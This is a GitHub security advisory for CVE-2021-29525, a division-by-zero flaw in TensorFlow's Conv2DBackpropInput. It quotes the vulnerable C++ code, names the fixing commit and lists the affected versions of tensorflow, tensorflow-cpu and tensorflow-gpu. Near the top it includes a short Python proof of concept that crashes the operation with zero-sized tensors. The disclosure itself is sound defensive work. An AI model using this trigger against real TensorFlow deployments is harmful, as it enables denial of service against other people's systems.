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Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXhtMnYtOHJydy13OXBt
Division by 0 in `Conv2DBackpropInput`
Impact
An attacker can trigger a division by 0 in tf.raw_ops.Conv2DBackpropInput
:
import tensorflow as tf
input_tensor = tf.constant([52, 1, 1, 5], shape=[4], dtype=tf.int32)
filter_tensor = tf.constant([], shape=[0, 1, 5, 0], dtype=tf.float32)
out_backprop = tf.constant([], shape=[52, 1, 1, 0], dtype=tf.float32)
tf.raw_ops.Conv2DBackpropInput(input_sizes=input_tensor, filter=filter_tensor,
out_backprop=out_backprop, strides=[1, 1, 1, 1],
use_cudnn_on_gpu=True, padding='SAME',
explicit_paddings=[], data_format='NHWC',
dilations=[1, 1, 1, 1])
This is because the implementation does a division by a quantity that is controlled by the caller:
const size_t size_A = output_image_size * dims.out_depth;
const size_t size_B = filter_total_size * dims.out_depth;
const size_t size_C = output_image_size * filter_total_size;
const size_t work_unit_size = size_A + size_B + size_C;
...
const size_t shard_size =
use_parallel_contraction ? 1 :
(target_working_set_size + work_unit_size - 1) / work_unit_size;
Patches
We have patched the issue in GitHub commit 2be2cdf3a123e231b16f766aa0e27d56b4606535.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
Permalink: https://github.com/advisories/GHSA-xm2v-8rrw-w9pmJSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXhtMnYtOHJydy13OXBt
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Low
Classification: General
Published: over 3 years ago
Updated: 23 days ago
CVSS Score: 2.5
CVSS vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L
Identifiers: GHSA-xm2v-8rrw-w9pm, CVE-2021-29525
References:
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-xm2v-8rrw-w9pm
- https://nvd.nist.gov/vuln/detail/CVE-2021-29525
- https://github.com/tensorflow/tensorflow/commit/2be2cdf3a123e231b16f766aa0e27d56b4606535
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-453.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-651.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-162.yaml
- https://github.com/advisories/GHSA-xm2v-8rrw-w9pm
Blast Radius: 12.2
Affected Packages
pypi:tensorflow-gpu
Dependent packages: 155Dependent repositories: 11,499
Downloads: 558,843 last month
Affected Version Ranges: >= 2.4.0, < 2.4.2, >= 2.3.0, < 2.3.3, >= 2.2.0, < 2.2.3, < 2.1.4
Fixed in: 2.4.2, 2.3.3, 2.2.3, 2.1.4
All affected versions: 0.12.0, 0.12.1, 1.0.0, 1.0.1, 1.1.0, 1.2.0, 1.2.1, 1.3.0, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.6.0, 1.7.0, 1.7.1, 1.8.0, 1.9.0, 1.10.0, 1.10.1, 1.11.0, 1.12.0, 1.12.2, 1.12.3, 1.13.1, 1.13.2, 1.14.0, 1.15.0, 1.15.2, 1.15.3, 1.15.4, 1.15.5, 2.0.0, 2.0.1, 2.0.2, 2.0.3, 2.0.4, 2.1.0, 2.1.1, 2.1.2, 2.1.3, 2.2.0, 2.2.1, 2.2.2, 2.3.0, 2.3.1, 2.3.2, 2.4.0, 2.4.1
All unaffected versions: 2.1.4, 2.2.3, 2.3.3, 2.3.4, 2.4.2, 2.4.3, 2.4.4, 2.5.0, 2.5.1, 2.5.2, 2.5.3, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.7.0, 2.7.1, 2.7.2, 2.7.3, 2.7.4, 2.8.0, 2.8.1, 2.8.2, 2.8.3, 2.8.4, 2.9.0, 2.9.1, 2.9.2, 2.9.3, 2.10.0, 2.10.1, 2.11.0, 2.12.0
pypi:tensorflow-cpu
Dependent packages: 88Dependent repositories: 2,483
Downloads: 959,202 last month
Affected Version Ranges: >= 2.4.0, < 2.4.2, >= 2.3.0, < 2.3.3, >= 2.2.0, < 2.2.3, < 2.1.4
Fixed in: 2.4.2, 2.3.3, 2.2.3, 2.1.4
All affected versions: 1.15.0, 2.1.0, 2.1.1, 2.1.2, 2.1.3, 2.2.0, 2.2.1, 2.2.2, 2.3.0, 2.3.1, 2.3.2, 2.4.0, 2.4.1
All unaffected versions: 2.1.4, 2.2.3, 2.3.3, 2.3.4, 2.4.2, 2.4.3, 2.4.4, 2.5.0, 2.5.1, 2.5.2, 2.5.3, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.7.0, 2.7.1, 2.7.2, 2.7.3, 2.7.4, 2.8.0, 2.8.1, 2.8.2, 2.8.3, 2.8.4, 2.9.0, 2.9.1, 2.9.2, 2.9.3, 2.10.0, 2.10.1, 2.11.0, 2.11.1, 2.12.0, 2.12.1, 2.13.0, 2.13.1, 2.14.0, 2.14.1, 2.15.0, 2.15.1, 2.16.1, 2.16.2, 2.17.0, 2.17.1, 2.18.0
pypi:tensorflow
Dependent packages: 2,172Dependent repositories: 73,755
Downloads: 18,843,694 last month
Affected Version Ranges: >= 2.4.0, < 2.4.2, >= 2.3.0, < 2.3.3, >= 2.2.0, < 2.2.3, < 2.1.4
Fixed in: 2.4.2, 2.3.3, 2.2.3, 2.1.4
All affected versions: 0.12.0, 0.12.1, 1.0.0, 1.0.1, 1.1.0, 1.2.0, 1.2.1, 1.3.0, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.6.0, 1.7.0, 1.7.1, 1.8.0, 1.9.0, 1.10.0, 1.10.1, 1.11.0, 1.12.0, 1.12.2, 1.12.3, 1.13.1, 1.13.2, 1.14.0, 1.15.0, 1.15.2, 1.15.3, 1.15.4, 1.15.5, 2.0.0, 2.0.1, 2.0.2, 2.0.3, 2.0.4, 2.1.0, 2.1.1, 2.1.2, 2.1.3, 2.2.0, 2.2.1, 2.2.2, 2.3.0, 2.3.1, 2.3.2, 2.4.0, 2.4.1
All unaffected versions: 2.1.4, 2.2.3, 2.3.3, 2.3.4, 2.4.2, 2.4.3, 2.4.4, 2.5.0, 2.5.1, 2.5.2, 2.5.3, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.7.0, 2.7.1, 2.7.2, 2.7.3, 2.7.4, 2.8.0, 2.8.1, 2.8.2, 2.8.3, 2.8.4, 2.9.0, 2.9.1, 2.9.2, 2.9.3, 2.10.0, 2.10.1, 2.11.0, 2.11.1, 2.12.0, 2.12.1, 2.13.0, 2.13.1, 2.14.0, 2.14.1, 2.15.0, 2.15.1, 2.16.1, 2.16.2, 2.17.0, 2.17.1, 2.18.0